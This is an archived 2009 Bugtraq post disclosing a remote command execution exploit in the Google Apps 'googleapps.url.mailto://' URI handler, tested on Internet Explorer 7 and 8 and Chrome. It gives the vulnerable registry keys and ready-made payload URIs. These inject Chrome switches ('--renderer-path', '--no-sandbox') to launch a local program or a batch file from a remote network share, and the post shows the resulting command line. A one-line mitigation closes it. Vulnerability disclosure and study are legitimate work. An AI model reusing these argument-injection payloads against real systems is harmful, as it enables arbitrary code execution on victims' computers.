lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 1 Oct 2009 16:38:32 -0600
From: nospam@...il.it
To: bugtraq@...urityfocus.com
Subject: google apps googleapps.url.mailto:// uri handler cross-browser
 remote command execution exploit (IE)

google apps googleapps.url.mailto:// uri handler cross-browser remote command execution exploit (Internet Explorer)
by nine:situations:group::pyrokinesis
site: http://retrogod.altervista.org/

software site: http://pack.google.com/intl/it/pack_installer.html

tested against: Internet Explorer 8, windows xp sp3
                Internet Explorer 7, windows xp sp3
                Google Chrome 2.0.172.43

vulnerability:
through the vulnerable googleapps.url.mailto:// deprecated uri handler, registered as follows:

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto]
@="Google Apps URL"
"EditFlags"=hex:02,00,00,00
"FriendlyTypeName"="Google Apps URL"
"URL Protocol"=""

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\DefaultIcon]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe,0"

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open]

[HKEY_CLASSES_ROOT\GoogleApps.Url.mailto\shell\open\command]
@="C:\\Programmi\\Google\\Google Apps\\googleapps.exe --mailto.google.com=\"%1\""

is possibile, against all versions of Internet Explorer, by injecting the "--domain=" switch
for the googleapps.exe executable to pass arbitrary switches to the Google Chrome chrome.exe
executable (which is subsequently launched to open the gmail pages),
example: the --renderer-path and --no-sandbox switches
Through them is possible to launch an arbitrary executable from the local system:


googleapps.url.mailto://"%20--domain="--what%20--renderer-path=calc%20--no-sandbox%20--x"/


or to launch an arbitrary batch file from a remote network share:


googleapps.url.mailto://"%20--domain="--x%20--renderer-path=\\192.168.0.1\uncshare\sh.bat%20--no-sandbox%20--x"/


the resulting command line for chrome.exe is in this case:

"C:\Programmi\Google\Chrome\Application\chrome.exe" --app=https://mail.google.com/a/--x --renderer-path=\\192.168.0.1\uncshare\sh.bat --no-sandbox

--x//?view=cm&fs=1&to=googleapps.url.mailto%3A%2F%2F&rlz=1R6GPCK_en___IT344

which leverages the remote command execution issue

Mitigation:

unregister the uri handler by deleting the mentioned registry keys

original url: http://retrogod.altervista.org/9sg_google_apps_uri.html

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ